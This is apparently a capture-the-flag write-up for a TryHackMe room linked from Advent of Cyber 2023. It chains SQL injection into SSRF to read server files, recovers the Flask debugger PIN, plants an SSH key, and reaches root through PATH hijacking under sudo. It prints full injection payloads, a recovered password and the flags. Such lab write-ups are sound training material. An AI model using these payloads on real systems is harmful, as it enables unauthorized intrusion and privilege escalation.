After completing day 20 of Advent of Cyber 2023, we notice a QRCode inside one of the calendar PNG image inside the Git repository. The QRCode links to https://tryhackme.com/room/surfingyetiiscomingtotown.
Step 1: SQL injection into server-side request forgery
After starting this new machine (at 10.10.190.103
in this write-up), we discover a web server on port 8000.
This web service offers to download 3 SVG files.
The service seems to use a server-side code to hint to the browser that it should download a file.
Usually this is done using HTML download
attributes, so there is something off.
For example, the first image links to http://10.10.190.103:8000/download?id=1.
This URL has a user-controllable parameter id
. Let’s try to set id='
:
http://10.10.190.103:8000/download?id='.
The server answers with a server-side HTTP error 500 displaying the Flask debugger.
This debug page contains a MySQL exception, some source code context for the
exception and an interactive Python console.
To use the interactive Python console we need a PIN-code,
usually given in the Flask command-line output.
Use the source code context, we are able to retrieve the SQL query:
|
|
Let’s try to inject a bad url
:
http://10.10.190.103:8000/download?id=1' AND 1=0 UNION ALL SELECT 'http://127.0.0.1:8000/badurl' WHERE ''='
.
We get another exception and the following code extract:
|
|
The server is using Curl to fetch the URL!
Curl can also fetch local files using the file://
URL handler.
We might have a primitive to get files from the server.
As we know the path of the Python source code from the exception message, let’s fetch it:
http://10.10.190.103:8000/download?id=1' AND 1=0 UNION ALL SELECT 'file:///home/mcskidy/app/app.py' WHERE ''='
.
It works!
Step 2: retrieving the Flask console PIN-code
Flask debugger can provide an interactive Python console if the user knows the debug PIN-code. This PIN-code is not random. There is already an excellent write-up by vozec on Hackropole which explains how to recover the PIN-code.
We need some information to retrieve the PIN-code:
- the username running the Flask app,
- the path to
flask/app.py
module, - the output of
str(uuid.getnode())
, - the output of
get_machine_id()
.
We already know the username mcskidy
and the path
/home/mcskidy/.local/lib/python3.8/site-packages/flask/app.py
using previous
debug information.
As we have only a SSRF to fetch files from the server filesystem, let’s fetch some files:
http://10.10.190.103:8000/download?id=1' AND 1=0 UNION ALL SELECT 'file:///etc/machine-id' WHERE ''='
aee6189caee449718070b58132f2e4ba
http://10.10.190.103:8000/download?id=1' AND 1=0 UNION ALL SELECT 'file:///proc/net/dev' WHERE ''='
Inter-| Receive | Transmit face |bytes packets errs drop fifo frame compressed multicast|bytes packets errs drop fifo colls carrier compressed eth0: 188249 2299 0 0 0 0 0 0 2584267 2337 0 0 0 0 0 0 lo: 656834 433 0 0 0 0 0 0 656834 433 0 0 0 0 0 0
http://10.10.190.103:8000/download?id=1' AND 1=0 UNION ALL SELECT 'file:///sys/class/net/eth0/address' WHERE ''='
02:4b:aa:22:06:69
Using these information, we now know that uuid.getnode() = 0x024baa220669
and get_machine_id() = b"aee6189caee449718070b58132f2e4ba"
.
We now remix Vozec script:
|
|
Executing the script yields the PIN-code 811-299-197
.
We enter the PIN-code at http://10.10.190.103:8000/console and we now have a working Python console!
Step 3: user takeover
Let’s use the Flask Python console to add our SSH key to mcskidy
user:
|
|
We can now ssh mcskidy@10.10.190.103
.
There is a first flag inside mcskidy
home directory!
Using find -mtime
option, we notice that there is a git repository inside /home/mcskidy/app/
.
Looking at the Git history reveals some secrets:
|
|
We try these secrets with sudo -l
.
$ sudo -l
[sudo] password for mcskidy:
Matching Defaults entries for mcskidy on proddb:
env_reset, mail_badpass, secure_path=/home/mcskidy\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mcskidy may run the following commands on proddb:
(root) /usr/bin/bash /opt/check.sh
F453TgvhALjZ
is mcskidy
user password!
Step 4: admin takeover
sudo -l
configuration definitely does not look like the default Debian
configuration. There might be a way to takeover the admin account.
We read the script at /opt/check.sh
.
This script starts by sourcing /opt/.bashrc
which itself starts by disabling
the [
Bash built-in:
|
|
This means that [
in Bash scripts now refers to /usr/bin/[
.
We notice that sudo secure_path
allows to add /home/mcskidy
to the PATH
environment variable.
We create /home/mcskidy/[
script with a payload that adds our SSH key to
/root/.ssh/authorized_keys
.
Then:
mcskidy@proddb:/opt$ export PATH=/home/mcskidy:$PATH
mcskidy@proddb:/opt$ sudo /usr/bin/bash /opt/check.sh
We can now login as root:
$ ssh root@10.10.152.209
Last login: Wed Dec 13 18:11:57 2023 from 10.13.4.71
root@proddb:~# l
frosteau/ root.txt snap/ yetikey4.txt
root@proddb:~# cat root.txt yetikey4.txt
THM{BaNDiT_YeTi_Lik3s_PATH_HijacKing}
4-3f$FEBwD6AoqnyLjJ!!Hk4tc*V6w$UuK#evLWkBp
VoilĂ !